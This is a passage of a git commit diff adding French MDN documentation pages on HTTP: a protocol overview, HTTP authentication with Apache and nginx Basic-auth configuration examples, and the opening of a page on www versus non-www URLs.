diff options
author | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:40:17 -0500 |
---|---|---|
committer | Peter Bengtsson <mail@peterbe.com> | 2020-12-08 14:40:17 -0500 |
commit | 33058f2b292b3a581333bdfb21b8f671898c5060 (patch) | |
tree | 51c3e392513ec574331b2d3f85c394445ea803c6 /files/fr/web/http | |
parent | 8b66d724f7caf0157093fb09cfec8fbd0c6ad50a (diff) | |
download | translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.tar.gz translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.tar.bz2 translated-content-33058f2b292b3a581333bdfb21b8f671898c5060.zip |
initial commit
Diffstat (limited to 'files/fr/web/http')
170 files changed, 16612 insertions, 0 deletions
diff --git a/files/fr/web/http/aperçu/index.html b/files/fr/web/http/aperçu/index.html new file mode 100644 index 0000000000..33d2758ec2 --- /dev/null +++ b/files/fr/web/http/aperçu/index.html @@ -0,0 +1,178 @@ +--- +title: Un aperçu de HTTP +slug: Web/HTTP/Aperçu +tags: + - Aperçu + - HTML + - HTTP + - WebMechanics +translation_of: Web/HTTP/Overview +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><strong>HTTP</strong> est un {{glossary("protocole")}} qui permet de récupérer des ressources telles que des documents HTML. Il est à la base de tout échange de données sur le Web. C'est un protocole de type client-serveur, ce qui signifie que les requêtes sont initiées par le destinataire (qui est généralement un navigateur web). Un document complet est construit à partir de différents sous-documents qui sont récupérés, par exemple du texte, des descriptions de mise en page, des images, des vidéos, des scripts et bien plus.</p> + +<p><img alt="Un document web se compose de différentes ressources" src="https://mdn.mozillademos.org/files/13677/Fetching_a_page.png" style="height: 319px; width: 545px;"></p> + +<p>Les clients et serveurs communiquent par l'échange de messages individuels (en opposition à un flux de données). Les messages envoyés par le client, généralement un navigateur web, sont appelés des <em>requêtes</em> et les messages renvoyés par le serveur sont appelés <em>réponses</em>.</p> + +<p><img alt="HTTP est un protocole de la couche d'application fonctionnant au-dessus de TCP (pour la couche de transport) et IP (pour la couche réseau). HTTP est en dessous de la couche de présentation." src="https://mdn.mozillademos.org/files/13673/HTTP%20&%20layers.png" style="float: left; height: 299px; padding-bottom: 15px; padding-right: 20px; width: 418px;"> Conçu au début des années 1990, HTTP est un protocole extensible qui a évolué au cours du temps. C'est un protocole de <a href="https://fr.wikipedia.org/wiki/Couche_application">la couche application</a> dont les données transitent via {{glossary("TCP")}} ou à travers une connexion TCP chiffrée avec {{glossary("TLS")}}. En théorie, tout protocole de transport fiable pourrait être utilisé. En raison de son extensibilité, il n'est pas seulement utilisé pour récupérer des documents, mais aussi pour des images, des vidéos ou bien pour renvoyer des contenus vers des serveurs, comme des résultats de formulaires HTML. HTTP peut aussi être utilisé pour récupérer des parties de documents pour mettre à jour à la demande des pages web.</p> + +<h2 id="Composants_des_systèmes_basés_sur_HTTP">Composants des systèmes basés sur HTTP</h2> + +<p>HTTP est un protocole client-serveur : les requêtes sont envoyées par une entité : l'agent utilisateur (ou le proxy qui agit au nom de celui-ci). La majorité du temps, l'agent utilisateur est un navigateur web, mais cela peut-être n'importe quoi, un robot qui analyse le Web pour remplir et maintenir l'index d'un moteur de recherche est un exemple d'agent utilisateur.</p> + +<p>Chaque requête individuelle est envoyée au serveur, qui la traite et fournit une <em>réponse</em>. Entre cette requête et la réponse se trouve de nombreuses entités qu'on désignera de façon générique sous le terme {{glossary("Proxy", "proxies")}}. Celles-ci exécutent différentes opérations et agissent comme passerelles ou comme {{glossary("Cache", "caches")}} par exemple.</p> + +<p><img alt="chaîne client serveur" src="https://mdn.mozillademos.org/files/13679/Client-server-chain.png"></p> + +<p>En réalité, il y a plus d'un ordinateur entre un navigateur et le serveur qui traite la requête : il y a les routeurs, les modems et bien plus. Grâce à la construction en couche du Web, ces intermédiaires sont cachés dans les couches réseau et transport. HTTP est bâti sur la couche applicative. Bien qu'elles puissent s'avérer importantes lorsqu'il s'agit de diagnostiquer des problèmes réseau, les couches inférieures ne sont pas pertinentes ici pour décrire HTTP.</p> + +<h3 id="Le_client_lagent_utilisateur">Le client : l'agent utilisateur</h3> + +<p>L'<em>agent utilisateur</em> correspond à n'importe quel outil qui agit pour le compte de l'utilisateur. Ce rôle est principalement rempli par le navigateur web ; les exceptions étant les programmes utilisés par des ingénieurs et développeurs web pour le débogage de leurs applications.</p> + +<p>Le navigateur est <strong>toujours</strong> celui qui initie la requête. Il ne s'agit jamais du serveur (bien que certains mécanismes aient été ajoutés au cours des années afin de simuler les messages initiés par un serveur).</p> + +<p>Pour afficher une page web, le navigateur envoie une requête initiale pour récupérer le document HTML depuis la page. Ensuite, il analyse le fichier et récupère les requêtes additionnelles qui correspondent aux scripts, aux informations de mise en page (CSS) et les sous-ressources contenues dans la page (généralement des images et des vidéos). Le navigateur web assemble alors ces ressources pour présenter un document complet à l'utilisateur : c'est la page web. Les scripts exécutés par le navigateur peuvent permettre de récupérer plus de ressources par la suite afin de mettre à jour la page web.</p> + +<p>Une page web est un document hypertexte. Cela signifie que certaines parties sont des liens qui peuvent être activés (généralement avec un clic de souris) afin de récupérer une nouvelle page web, permettant à l'utilisateur de diriger son agent utilisateur et de naviguer sur le Web. Le navigateur traduit ces instructions en requêtes HTTP et interprète les réponses HTTP pour présenter une réponse claire à l'utilisateur.</p> + +<h3 id="Le_serveur_web">Le serveur web</h3> + +<p>De l'autre côté du canal de communication, on trouve le serveur qui <em>sert</em> le document demandé par le client. Bien qu'on présente virtuellement le serveur comme un seul ordinateur, en réalité, il peut s'agir d'un ensemble de serveurs se répartissant la charge (<em>load balancing</em>) ou d'une architecture logicielle complexe qui interroge d'autres serveurs (par exemple un cache, un serveur de base de données, serveur d'e-commerce…), qui génèrent totalement ou partiellement le document à la demande.</p> + +<p>D'une part, un serveur n'est pas nécessairement une machine unique et d'autre part, plusieurs serveurs peuvent être hébergés sur une même machine. Avec HTTP/1.1 et l'en-tête {{HTTPHeader("Host")}}, ils peuvent également partager la même adresse IP.</p> + +<h3 id="Les_proxys">Les <em>proxys</em></h3> + +<p>Entre le navigateur Web et le serveur, de nombreux ordinateurs et machines relaient les messages HTTP. En raison de la structure en couches superposées des technologies web, la plupart des opérations au niveau du transport, du réseau ou au niveau physique sont transparents pour la couche HTTP, ce qui peut avoir un impact significatif sur les performances. Les opérations au niveau de la couche applicative sont généralement appelées <strong>proxy</strong>. Ceux-ci peuvent être transparents ou non (en changeant les requêtes qui passent par eux), et peuvent effectuer de nombreuses tâches :</p> + +<ul> + <li>mettre en cache (le cache peut alors être public ou privé, comme le cache du navigateur)</li> + <li>filtrer (comme un antivirus, contrôle parental…)</li> + <li>répartir la charge (pour permettre à de multiples serveurs de servir différentes requêtes)</li> + <li>authentifier (pour contrôler l'accès à différentes ressources)</li> + <li>effectuer la journalisation (permettant le stockage des informations d'historiques)</li> +</ul> + +<h2 id="Principaux_aspects_dHTTP">Principaux aspects d'HTTP</h2> + +<h3 id="HTTP_est_simple">HTTP est simple</h3> + +<p>Même s'il est devenu plus complexe avec l'arrivée d'HTTP/2 et l'encapsulation des messages HTTP dans des trames, HTTP est généralement conçu pour être simple et lisible par un humain. Les messages HTTP peuvent être lus et compris par des humains, ce qui facilite les tests des développeurs et réduit la complexité pour les débutants.</p> + +<h3 id="HTTP_est_extensible">HTTP est extensible</h3> + +<p>À partir de HTTP/1.0, les <a href="/fr/docs/HTTP/Headers">en-têtes HTTP</a> permettent d'étendre facilement le protocole et de mener des expérimentations avec celui-ci. De nouvelles fonctionnalités peuvent même être introduites par un simple accord entre le client et le serveur à propos de la sémantique des nouveaux en-têtes.</p> + +<h3 id="HTTP_est_sans_état_mais_pas_sans_session">HTTP est sans état, mais pas sans session</h3> + +<p>HTTP est sans état : il n'y a pas de lien entre deux requêtes qui sont effectuées successivement sur la même connexion. Cela devient très rapidement problématique lorsque les utilisateurs veulent interagir avec une page de façon cohérente, par exemple avec un panier d'achat sur un site de commerce en ligne. Bien que le cœur d'HTTP soit sans état, les cookies HTTP permettent l'utilisation de sessions avec des états. En utilisant l'extensibilité par les en-têtes, des cookies HTTP sont ajoutés aux flux et permettent la création d'une session sur chaque requête HTTP pour partager un même contexte, ou un même état.</p> + +<h3 id="HTTP_et_les_connexions">HTTP et les connexions</h3> + +<p>Une connexion est contrôlée au niveau de la couche transport et est donc fondamentalement hors de portée d'HTTP. Bien que HTTP ne nécessite pas un protocole de transport basé sur une connexion. Le protocole doit être fiable ou empêcher la perte de messages (donc gérer au minimum la remontée des erreurs). Parmi les deux protocoles de transport les plus courants sur Internet, TCP est fiable et UDP ne l'est pas. HTTP s'appuie sur le standard TCP, qui est basé sur la connexion, même si une connexion n'est pas toujours nécessaire.</p> + +<p>HTTP/1.0 ouvre une connexion TCP pour chaque échange requête/réponse, ce qui introduit deux défauts majeur : l'ouverture d'une connexion nécessite plusieurs allers-retours, ce qui est lent mais devient plus efficace lorsque plusieurs messages sont envoyés et envoyés régulièrement. On dit aussi que les connexions qui restent <em>chaudes</em> sont plus efficaces que les communications <em>froides.</em></p> + +<p>Afin de réduire ces défauts, HTTP/1.1 introduit le <em>pipelining</em> (qui s'est avéré difficile à mettre en œuvre) et les connexions persistantes : la connexion TCP sous-jacente peut être partiellement contrôlée en utilisant l'en-tête {{HTTPHeader("Connection")}}. HTTP/2 va plus loin en multiplexant des messages sur une seule connexion, ce qui aide à maintenir la connexion chaude et plus efficace</p> + +<p>Des expérimentations sont en cours afin de concevoir un protocole de transport plus adapté pour HTTP. Par exemple, Google expérimente <a href="https://en.wikipedia.org/wiki/QUIC">QUIC</a>, construit sur UDP pour fournir un protocole de transport plus fiable et efficace.</p> + +<h2 id="Ce_qui_peut_être_contrôlé_par_HTTP">Ce qui peut être contrôlé par HTTP</h2> + +<p>Au fil du temps, la nature extensible de HTTP a permis de mieux contrôler le Web et d'y ajouter de nouvelles fonctionnalités. Les méthodes de cache ou d'authentification sont des fonctions qui furent gérées dès le début de HTTP tandis que la possibilité de lever la contrainte d'unicité de l'origine ne fut introduite qu'à partir des années 2010.</p> + +<p>Voici une liste de fonctionnalités courantes, qui peuvent être contrôlées grâce à HTTP.</p> + +<ul> + <li><em><a href="/fr/docs/Web/HTTP/Caching">Cache</a></em><br> + La façon dont les documents sont mis en cache peut être contrôlée par HTTP. Le serveur peut indiquer aux proxys et aux clients ce qu'ils doivent mettre en cache et pour combien de temps. Le client peut indiquer aux proxys de cache intermédiaires d'ignorer le document qui est stocké.</li> + <li><em>Lever la contrainte d'origine unique</em><br> + Pour éviter l'espionnage et d'autres invasions dans la vie privée, les navigateurs web imposent une séparation stricte entre les sites web. Seules les pages de la <strong>même {{Glossary("origine")}}</strong> peuvent accéder à toutes les informations d'une page web. Bien que cette contrainte soit un fardeau pour le serveur, les en-têtes HTTP peuvent assouplir cette séparation stricte du côté serveur, en permettant à un document de devenir un patchwork d'informations en provenance de différents domaines (il existe même des raisons de sécurité de procéder ainsi).</li> + <li><em>Authentification</em><br> + Certaines pages peuvent être protégées de sorte que seuls certains utilisateurs puissent y accéder. Une authentification simple peut être fournie par HTTP, soit en utilisant l'en-tête {{HTTPHeader ("WWW-Authenticate")}} et des en-têtes similaires, soit en définissant une session spécifique grâce à des <a href="/fr/docs/Web/HTTP/Cookies">cookies HTTP</a>.</li> + <li><a href="/fr/docs/Web/HTTP/Proxy_servers_and_tunneling">Proxys et tunnels</a><br> + Les serveurs et/ou les clients sont souvent situés sur des intranets et cachent leur véritable adresse IP à d'autres. Les requêtes HTTP passent ensuite par des proxys pour traverser cette barrière de réseau. Tous les proxys ne sont pas des proxys HTTP. Le protocole SOCKS, par exemple, fonctionne à un niveau inférieur. D'autres, comme FTP, peuvent être manipulés par ces proxys.</li> + <li><em>Sessions</em><br> + L'utilisation de cookies HTTP permet de lier les requêtes à l'état du serveur. Cela crée des sessions, malgré le fait que HTTP soit, au sens strict, un protocole sans état. Ceci est utile non seulement pour les paniers de commerce électronique en ligne, mais aussi pour tout site permettant une configuration de l'utilisateur.</li> +</ul> + +<h2 id="Flux_HTTP">Flux HTTP</h2> + +<p>Lorsqu'un client veut communiquer avec un serveur, que ce soit avec un serveur final ou un proxy intermédiaire, il réalise les étapes suivantes :</p> + +<ol> + <li>Il ouvre une connexion TCP : la connexion TCP va être utilisée pour envoyer une ou plusieurs requêtes et pour recevoir une réponse. Le client peut ouvrir une nouvelle connexion, réutiliser une connexion existante ou ouvrir plusieurs connexions TCP vers le serveur.</li> + <li>Il envoie un message HTTP : les messages HTTP (avant HTTP/2) sont lisibles par les humains. Avec HTTP/2, ces simples messages sont en-capsulés dans des trames, rendant la lecture directe impossible, mais le principe reste le même. + <pre class="line-numbers language-html notranslate">GET / HTTP/1.1 +Host: developer.mozilla.org +Accept-Language: fr</pre> + </li> + <li>Il lit la réponse envoyée par le serveur : + <pre class="line-numbers language-html notranslate">HTTP/1.1 200 OK +Date: Sat, 09 Oct 2010 14:28:02 GMT +Server: Apache +Last-Modified: Tue, 01 Dec 2009 20:18:22 GMT +ETag: "51142bc1-7449-479b075b2891b" +Accept-Ranges: bytes +Content-Length: 29769 +Content-Type: text/html + +<!DOCTYPE html... (suivi des 29769 octets de la page web demandée)</pre> + </li> + <li>Il ferme ou réutilise la connexion pour les requêtes suivantes.</li> +</ol> + +<p>Si le <em>pipeline</em> HTTP est activé, plusieurs demandes peuvent être envoyées sans attendre que la première réponse soit entièrement reçue. Le <em>pipeline</em> HTTP s'est révélé difficile à implémenter dans les réseaux existants où de vieux logiciels coexistent avec des versions modernes. Le pipeline <em>HTTP</em> a été remplacé dans HTTP/2 par des requêtes de multiplexage plus robustes dans les trames.</p> + +<h2 id="Les_messages_HTTP">Les messages HTTP</h2> + +<p>Les messages HTTP/1.1 et ceux des versions précédentes d'HTTP sont lisibles par des humains. Avec HTTP/2, ces messages sont intégrés dans une nouvelle structure binaire, une trame, ce qui permet des optimisations telles que la compression des en-têtes et le multiplexage. Même si seule une partie du message HTTP d'origine est envoyée dans cette version d'HTTP, la sémantique de chaque message est inchangée et le client reconstitue (virtuellement) la requête HTTP/1.1 d'origine. Il est donc utile de comprendre les messages HTTP/2 au format HTTP/1.1.</p> + +<p>Il existe deux types de messages HTTP, les requêtes et les réponses, chacun ayant son propre format.</p> + +<h3 id="Requêtes">Requêtes</h3> + +<p>Un exemple de requête HTTP :</p> + +<p><img alt="Une requête HTTP basique" src="https://mdn.mozillademos.org/files/13687/HTTP_Request.png" style="height: 336px; width: 693px;"></p> + +<p>Une requête comprend les éléments suivants :</p> + +<ul> + <li>Une <a href="/fr/docs/Web/HTTP/Methods">méthode</a> HTTP : généralement un verbe tel que {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} ou un nom comme {{HTTPMethod("OPTIONS")}} ou {{HTTPMethod("HEAD")}} qui définit l'opération que le client souhaite effectuer. Par exemple, un client souhaite accéder à une ressource (en utilisant GET) ou téléverser le résultat d'un <a href="/fr/docs/Web/Guide/HTML/Formulaires">formulaire HTML</a> (en utilisant <code>POST</code>), bien que d'autres opérations puissent être nécessaires dans d'autres cas.</li> + <li>Le chemin de la ressource à extraire : l'URL de la ressource à laquelle on a retiré les éléments déductibles du contexte, par exemple le {{glossary ("protocole")}} (http://), le {{glossary ("domaine")}} (ici .mozilla.org), ou le {{glossary ("port")}} TCP (ici 80).</li> + <li>La version du protocole HTTP.</li> + <li>Les <a href="/fr/docs/HTTP/Headers">en-têtes</a> optionnels qui transmettent des informations supplémentaires pour les serveurs.</li> + <li>Ou un corps, pour certaines méthodes comme POST, semblable à ceux dans les réponses, qui contiennent la ressource envoyée.</li> +</ul> + +<h3 id="Réponses">Réponses</h3> + +<p>Un exemple de réponse :</p> + +<p><img alt="une réponse HTTP" src="https://mdn.mozillademos.org/files/13691/HTTP_Response.png" style="height: 494px; width: 758px;"></p> + +<p>Une réponse comprend les éléments suivants:</p> + +<ul> + <li>La version du protocole HTTP qu'elle suit</li> + <li>Un <a href="/fr/docs/Web/HTTP/Status">code de statut</a>, qui indique si la requête a réussi ou non.</li> + <li>Un message de statut qui est une description rapide, informelle, du code de statut</li> + <li>Les <a href="/fr/docs/Web/HTTP/Headers">en-têtes</a> HTTP, comme pour les requêtes.</li> + <li>Éventuellement un corps contenant la ressource récupérée.</li> +</ul> + +<h2 id="Les_APIs_basées_sur_HTTP">Les APIs basées sur HTTP</h2> + +<p>L'API la plus utilisée se basant sur HTTP est l'API {{domxref("XMLHttpRequest")}} qui permet d'échanger des données entre un agent utilisateur {{Glossary("user agent")}} et un serveur.</p> + +<p>Une autre API, <a href="/fr/docs/Web/API/Server-sent_events">server-sent events</a>, est un service unidirectionnel permettant à un serveur d'envoyer des notifications au client, en se basant sur le protocole HTTP. À l'aide de l'utilisation de l'interface {{domxref("EventSource")}}, le client ouvre une connexion et initie un gestionnaire d'évènements. Le navigateur convertit alors automatiquement les messages du flux HTTP en objets de type {{domxref("Event")}}, pour ensuite les déléguer au gestionnaire d'évènements qui se sont abonnés à ce {{domxref("Event.type", "type")}} d'évènement. Dans le cas où le type est inconnu ou si aucun gestionnaire typé n'a été défini, ils sont délivrés au gestionnaire d'évènements {{domxref("EventSource.onmessage", "onmessage")}}.</p> + +<h2 id="Conclusion">Conclusion</h2> + +<p>HTTP est un protocole extensible, facile d'utilisation. La structure client-serveur, combinée avec la possibilité d'ajouter simplement des en-têtes, permet à HTTP de progresser au fur et mesure de l'ajout de nouvelles fonctionnalités sur le Web.</p> + +<p>Bien que HTTP/2 ajoute de la complexité, en englobant les messages HTTP dans des trames pour améliorer les performances, la structure de base des messages est restée la même depuis HTTP/1.0. Le flux de session reste simple, ce qui lui permet d'être étudié et débogué avec un simple <a href="/fr/docs/Outils/Moniteur_réseau">moniteur de message HTTP</a>.</p> diff --git a/files/fr/web/http/authentication/index.html b/files/fr/web/http/authentication/index.html new file mode 100644 index 0000000000..87b0e287be --- /dev/null +++ b/files/fr/web/http/authentication/index.html @@ -0,0 +1,126 @@ +--- +title: HTTP authentication +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP fournit la structure permettant le contrôle d'accès ainsi que l'authentification. Le schéma d'authentification HTTP le plus courant est l'authentification "Basique" ("Basic authentication" en anglais). Cette page a pour but de présenter ce schéma d'authentification, et montre comment l'utiliser pour restreindre l'accès à votre serveur.</p> + +<h2 id="La_structure_d'authentification_HTTP">La structure d'authentification HTTP</h2> + +<p>La {{RFC("7235")}} définit la structure d'authentification HTTP qui est utilisable par un serveur pour {{glossary("challenge", "défier")}} une requête client, et inversement par un client pour fournir des informations d'authentification à un serveur. Le fonctionnement du défi/réponse se déroule ainsi : le serveur répond à un client avec un statut {{HTTPStatus("401")}} (Unauthorized) et fournit l'information permettant l'autorisation via un en-tête de réponse {{HTTPHeader("WWW-Authenticate")}} contenant au moins un défi. Le client désirant s'authentifier peut ensuite le faire en incluant un en-tête de requête {{HTTPHeader("Authorization")}} contenant ses identifiants. Très souvent, le client va demander à l'utilisateur un mot de passe et ensuite envoyer la requête au serveur en incluant cette information dans l'en-tête <code>Authorization</code>.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p> + +<p>Dans le cadre d'une authentification basique ("Basic authentication" en anglais) comme montré dans l'image ci-dessus, les échanges <strong>doivent</strong> s'effectuer au travers d'une connection HTTPS (TLS) afin d'être sécurisée.</p> + +<h3 id="Authentification_par_procuration">Authentification par procuration</h3> + +<p>Le même mécanisme de défi et réponse peut être utilisée pour <em>l'authentification par procuration</em> (<em>Proxy authentication</em> en anglais). Dans ce cas, c'est un système de procuration intermédiaire qui requiert l'authentification. Comme les deux authentifications (celle de la ressource et celle du système de procuration) peuvent coexister, un autre jeu d'en-têtes et de codes de réponses HTTP est nécessaire. Dans le cadre des systèmes de procuration, le code HTTP de défi est {{HTTPStatus("407")}} (Proxy Authentication Required), l'en-tête de réponse {{HTTPHeader("Proxy-Authenticate")}} contient au moins un défi applicable au système de procuration et l'en-tête de requête {{HTTPHeader("Proxy-Authorization")}} est utilisé pour fournir les identifiants au serveur de procuration.</p> + +<h3 id="Accès_interdit">Accès interdit</h3> + +<p>Si un serveur de procuration reçoit des identifiants valides ne permettant pas d'avoir accès à une ressource donnée, le serveur doit répondre avec un code de réponse {{HTTPStatus("403")}} <code>Forbidden</code>. Dans ce cas, à l'inverse des codes {{HTTPStatus("401")}} <code>Unauthorized</code> ou {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>, l'authentification n'est pas possible pour cet utilisateur.</p> + +<h3 id="Authentification_des_images_multi-origines">Authentification des images multi-origines</h3> + +<p>Une faille de sécurité potentielle qui a été récemment corrigée par les navigateurs est l'authentification des images multi-origines. À partir de <a href="/en-US/docs/Mozilla/Firefox/Releases/59">Firefox 59</a> et version ultérieures, les images chargées depuis des origines différentes du site courant ne sont plus en mesure de déclencher l'ouverture d'une fenêtre de dialogue ({{bug(1423146)}}) demandant l'authentification HTTP, empêchant ainsi le vol d'identifiants utilisateurs si des personnes mal-intentionnées étaient en mesure d'embarquer une image aléatoire dans une page.</p> + +<h3 id="Encodage_de_caractère_de_l'authentification_HTTP">Encodage de caractère de l'authentification HTTP</h3> + +<p>Les navigateurs utilisent l'encodage de caractère <code>utf-8</code> pour les noms d'utilisateur ainsi que les mots de passe. Firefox utilisait auparavant l'encodage <code>ISO-8859-1</code>, mais l'a remplacé par <code>utf-8</code> afin de s'aligner avec les autres navigateurs et ainsi éviter les potentiels problèmes, comme décrit dans le {{bug(1419658)}}.</p> + +<h3 id="En-têtes_WWW-Authenticate_et_Proxy-Authenticate">En-têtes <code>WWW-Authenticate</code> et <code>Proxy-Authenticate</code></h3> + +<p>Les en-têtes de réponse {{HTTPHeader("WWW-Authenticate")}} et {{HTTPHeader("Proxy-Authenticate")}} définissent le schéma d'authentification devant être utilisée pour accéder à une ressource, afin que le client désirant y accéder puisse savoir comment fournir les identifiants. La syntaxe pour ces en-têtes est la suivante :</p> + +<p> </p> + +<pre class="syntaxbox">WWW-Authenticate: <type> realm=<realm> +Proxy-Authenticate: <type> realm=<realm></pre> + +<p> </p> + +<p>Ici, <code><type></code> est le schéma d'authentification ("Basic" est le plus courant des schémas, et est présenté <a href="/en-US/docs/Web/HTTP/Authentication#Basic_authentication_scheme">ici</a>). Le <code>realm</code> (<em>domaine</em> en français) est utilisé pour décrire la "zone" protégée, ou pour indiquer la portée de la protection. Cela pourrait être un message comme par exemple "Accès au site de pré-production", pour que l'utilisateur puisse savoir à quel espace il est en train d'accéder.</p> + +<h3 id="En-têtes_Authorization_et_Proxy-Authorization">En-têtes <code>Authorization</code> et <code>Proxy-Authorization</code></h3> + +<p>Les en-têtes de requête {{HTTPHeader("Authorization")}} et {{HTTPHeader("Proxy-Authorization")}} contiennent les identifiants pour authentifier un client avec un serveur (de procuration). Ici, le type est encore une fois nécessaire, suivi par les identifiants, qui peuvent être encodés voire encryptés selon le schéma d'authentification utilisé.</p> + +<pre class="syntaxbox">Authorization: <type> <credentials> +Proxy-Authorization: <type> <credentials> +</pre> + +<h3 id="Schéma_d'authentification">Schéma d'authentification</h3> + +<p>La structure d'authentification HTTP est utilisée par plusieurs schémas d'authentification. Ils diffèrent de par leur niveau de sécurité ainsi que par leur disponibilité dans les systèmes client ou serveur.</p> + +<p>Le plus commun est le schéma d'authentification "Basique" ("Basic" en anglais), qui est présenté plus en détail ci-dessous. IANA maintient une <a class="external external-icon" href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">liste des schéma d'authentification</a>, mais ils y en a d'autres fournit par des services d'hébergement comme Amazon AWS. Les schéma communs sont :</p> + +<p> </p> + +<ul> + <li><strong>Basic</strong> (voir {{rfc(7617)}}, identifiants encodés en base64. Voir ci-dessous pour plus de détails.),</li> + <li><strong>Bearer</strong> (voir {{rfc(6750)}}, jetons <em>bearer </em>("porteur" en français) pour accéder à des ressources protégées par OAuth 2.0),</li> + <li><strong>Digest</strong> (voir {{rfc(7616)}}, Firefox n'est compatible qu'avec l'encryption md5, voir {{bug(472823)}} pour la compatibilité avec l'encryption SHA),</li> + <li><strong>HOBA</strong> (voir {{rfc(7486)}} (brouillon), <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, basé sur une signature digitale),</li> + <li><strong>Mutual</strong> (voir <a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>),</li> + <li> + <p><strong>AWS4-HMAC-SHA256</strong> (voir <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">Documentation AWS</a>).</p> + </li> +</ul> + +<p> </p> + +<h2 id="Schéma_d'authentification_basique_(Basic)">Schéma d'authentification basique ("Basic")</h2> + +<p>Le schéma d'authentification "basique" est définit dans la {{rfc(7617)}}, et transmet les identifiants via des ensembles ID_utilisateur/mot_de_passe, encodés avec base64.</p> + +<h3 id="Sécurité_de_l'authentification_basique">Sécurité de l'authentification basique</h3> + +<p>Étant donnée que l'ID utilisateur et le mot de passe transitent sur le réseau en clair (base64 étant un encodage réversible), le schéma d'authentification basique n'est pas sécurisé. C'est pourquoi HTTPS / TLS doivent être utilisés avec ce type d'authentification. Sans cela, ce schéma <strong>ne doit pas</strong> être utilisé pour protéger des informations sensibles.</p> + +<h3 id="Restreindre_l'accès_avec_Apache_et_l'authentification_basique">Restreindre l'accès avec Apache et l'authentification basique</h3> + +<p>Pour protéger avec un mot de passe un répertoire sur un serveur Apache, vous aurez besoin d'utiliser un ou plusieurs fichiers <code>.htaccess</code> et <code>.htpasswd</code> .</p> + +<p>Le fichier <code>.htaccess</code> ressemble à ceci :</p> + +<pre>AuthType Basic +AuthName "Accès au site de pré-production" +AuthUserFile /chemin/vers/.htpasswd +Require valid-user</pre> + +<p>Le fichier <code>.htaccess</code> fait référence à un fichier <code>.htpasswd</code> dans lequel chaque ligne contient un nom d'utilisateur ainsi qu'un mot de passe séparés par deux-points (":"). Vous ne pouvez pas déchiffrer les mots de passe à l'intérieur car ils sont <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">encryptés</a> (md5 en l'occurrence). Vous pouvez tout à fait nommer votre fichier <code>.htpasswd</code> différemment si vous le désirez, mais gardez en tête que ce fichier ne doit pas être accessible à quiconque. (Apache est normalement configuré pour empêcher l'accès aux fichiers <code>.ht*</code>).</p> + +<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. +user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ +</pre> + +<h3 id="Restreindre_l'accès_avec_nginx_et_l'authentification_basique">Restreindre l'accès avec nginx et l'authentification basique</h3> + +<p>Pour nginx, vous aurez besoin de spécifier une zone ou emplacement (<em>location</em> en anglais) à protéger, ainsi que la directive <code>auth_basic</code> définissant le nom de cette zone. La directive <code>auth_basic_user_file</code> fait référence à un fichier .htpasswd contenant les identifiants utilisateurs encryptés, exactement comme dans l'exemple avec Apache ci-dessus.</p> + +<pre>location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; +}</pre> + +<h3 id="Accès_avec_identifiants_dans_l'URL">Accès avec identifiants dans l'URL</h3> + +<p>Beaucoup de clients permettent d'éviter la fenêtre de dialogue demandant les identifiants en utilisant une URL contenant le nom d'utilisateur ainsi que le mot de passe comme suit :</p> + +<pre class="example-bad">https://utilisateur:password@www.example.com/</pre> + +<p><strong>L'utilisateur de ces URLs est déprécié.</strong> Dans Chrome, la partie <code>username:password@</code> dans les URLs est même <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">retirée pour des raisons de sécurité</a>. Dans Firefox, le site est testé afin de savoir s'il requiert ou non l'authentification et si ce n'est pas le cas, Firefox va avertir l'utilisateur avec une fenêtre de dialogue "Vous êtes sur le point de vous connecter au site "www.example.com" avec le nom d'utilisateur "username", mais le site ne requiert pas d'authentification. Ceci pourrait être une tentative pour vous piéger."</p> + +<h2 id="Voir_aussi">Voir aussi</h2> + +<ul> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html b/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html new file mode 100644 index 0000000000..fe94d1e4c9 --- /dev/null +++ b/files/fr/web/http/basics_of_http/choisir_entre_les_urls_www_sans_www/index.html @@ -0,0 +1,69 @@ +--- +title: Choisir entre les URLs avec ou sans www +slug: Web/HTTP/Basics_of_HTTP/Choisir_entre_les_URLs_www_sans_www +tags: + - Guide + - HTTP + - URL +translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">Une question récurrente chez les propriétaires de sites web est de choisir entre utiliser des URLs qui débutent ou non par www. Cette page fournit quelques conseils sur la meilleure approche à envisager.</p> + +<h2 id="Que_sont_les_noms_de_domaines">Que sont les noms de domaines ?</h2> + +<p>Dans une URL HTTP, la première chaîne qui suit le schéma <code>http://</code> ou <code>https://</code> est appelé le nom de domaine. C'est le nom du site où le document est hébergé, ce site étant lui-même hébergé sur un serveur.</p> + +<p>Un serveur n'est pas nécessairement une machine physique : plusieurs serveurs peuvent cohabiter au sein d'une seule machine physique. Un serveur peut tout aussi bien être supporté par plusieurs machines, qui permettent de restituer l'ensemble de la réponse ou de pouvoir équilibrer la charge des requêtes 